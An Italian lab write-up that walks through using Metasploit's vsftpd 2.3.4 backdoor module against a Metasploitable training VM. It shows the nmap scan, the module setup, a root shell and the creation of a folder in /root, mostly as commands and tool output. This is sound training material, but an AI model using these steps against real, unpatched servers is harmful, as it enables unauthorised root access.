


CONSEGNA S7/L1

HACKING CON METASPLOIT

Nell'esercizio di oggi vedremo come effettuare una **sessione di hacking** con **Metasploit** sulla macchina **Metasploitable**, ottenendo una connessione con la macchina e andando a **creare una cartella nella directory di root**.

Per prima cosa si apre un **terminale** sul **desktop** di Kali e si lancia il tool Metasploit con il comando **msfconsole**.



```
(kali@kali)-[~/Desktop]
$ msfconsole

.:ok000kdc'      'cdk000ko:.
.x0000000000000c  c0000000000000x.
:00000000000000k, ,k00000000000000:
'000000000kkk00000: :000000000000000'
o00000000. .o0000o0000l. ,00000000o
d00000000. .c00000c. ,00000000x
l00000000. ;d; ,00000000l
.00000000. .; ; ,00000000.
c00000000. .00c. 'o00. ,0000000c
o0000000. .0000. :0000. ,0000000o
l00000. .0000. :0000. ,00000l
;0000' .0000. :0000. ;0000;
.d00o .0000cccx0000. x00d.
,k0l .0000000000000. .d0k,
Meta :kk;.0000000000000.c0k:
qbqz03.pdf ;k000000000000000k:
,x0000000000000x,
.l00000000l.
,d0d,
.
shell.php
=[ metasploit v6.3.27-dev
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post
+ -- --=[ 1382 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit tip: Use the resource command to run
commands from a file
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

Ora si apre un altro **terminale** e si lancia una **scansione nmap** sulla macchina Metasploitable per vedere i servizi attivi.
Il comando da utilizzare è **nmap -sV ip_macchina**.

```

(kali@kali)-[~]
$ nmap -sV 192.168.1.101
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:56 CET
Nmap scan report for 192.168.1.101
Host is up (0.039s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.45 seconds

```

Possiamo osservare la presenza di una **sessione ftp attiva sulla porta 21** di Meta.

Andiamo ad attaccare questo servizio.

Il tool ci dice anche la versione, in questo caso **vsftpd 2.3.4**.

Possiamo quindi procedere cercando questo servizio con il nostro tool.

Si utilizza il comando **search** seguito da quello che vogliamo cercare, in questo caso -come detto sopra- **vsftpd**.

Il programma ci elencherà i **moduli disponibili per il servizio** da noi cercato per andare ad eseguire l'exploit.

```

msf6 > search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes     VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Executio
n

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

```

Notiamo la presenza di **2 moduli per l'exploit**, in questo caso andiamo ad utilizzare quello **excellent**.

Per utilizzarlo si utilizza il comando **use**, come in figura sotto.

In questo caso il programma utilizzerà un *payload* predefinito, quindi non c'è bisogno di caricarne uno.

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS     no               no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      no               no        The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0    Automatic

View the full module info with the info, or info -d command.

```

Nella figura si può anche notare la presenza del comando **show options**, che va a mostrare nel **dettaglio** alcune **informazioni** sul modulo inserito.

Si prosegue settando l'**host** su cui viene eseguito l'exploit, in questo caso l'**IP di Meta**. Il comando da utilizzare è **set rhost ip_macchina**.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.101
rhost => 192.168.1.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.101   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS     no               no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      no               no        The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0    Automatic

View the full module info with the info, or info -d command.

```

Anche in questo caso è stato utilizzato il comando **show options** per vedere le informazioni.

Se l'host è stato settato correttamente allora l'informazione dell'IP sarà stata aggiunta alla **lista** vicino a **RHOST**.

Ora si fa partire l'exploit con il comando **exploit**.

Il tool eseguirà tutto in automatico.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.101:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:46305 -> 192.168.1.101:6200) at 2024-01-15 10:07:39 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:da:f2:44
          inet addr:192.168.1.101  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fed4:f244/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2572 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2482 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:205196 (200.3 KB)  TX bytes:192223 (187.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:195 errors:0 dropped:0 overruns:0 frame:0
          TX packets:195 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:37857 (36.9 KB)  TX bytes:37857 (36.9 KB)
```

Per avere una **verifica** che ci siamo **collegati correttamente** a Meta possiamo fare un **ifconfig**: l'exploit è andato a buon fine e abbiamo stabilito una connessione con la macchina.

Ora possiamo creare una **cartella** su Meta nella **directory di root**.

Ci spostiamo tra le directory utilizzando i comandi della shell di Kali.

Scriviamo **ls** per visualizzare tutte le cartelle disponibili, **cd root** per spostarci nella directory di root, **pwd** per verificare se siamo nella directory di root, **mkdir test_metasploit** per creare una **cartella** in questa directory denominata **"test_metasploit"** e infine **ls** per verificare la presenza della cartella.

Nella figura sotto la sequenza di comandi e una verifica su Meta della presenza della cartella.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
ls
Desktop
reset_logs.sh
vnc.log
pwd
/root
mkdir test_metasploit
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

```
Meta5 [In esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:5004 (4.8 KB)
Base address:0xd020 Memory:f0200000-f0220000

lo    Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:16436  Metric:1
      RX packets:118 errors:0 dropped:0 overruns:0 frame:0
      TX packets:118 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:25233 (24.6 KB) TX bytes:25233 (24.6 KB)

msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/$ ls
bin    dev    initrd  lost+found  nohup.out  root  sys  var
boot  etc    initrd.img  media      opt        shin  tmp  vmlinuz
cdrom  home  lib     mnt         proc       srv   usr
msfadmin@metasploitable:/$ cd root
msfadmin@metasploitable:/root$ ls
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:/root$
```

Abbiamo concluso correttamente il nostro exploit!

Ora possiamo **terminare** l'exploit e scollegare la connessione con il comando *exit*.

```
exit
[*] 192.168.1.101 - Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exit

(kali㉿kali)-[~/Desktop]
$
```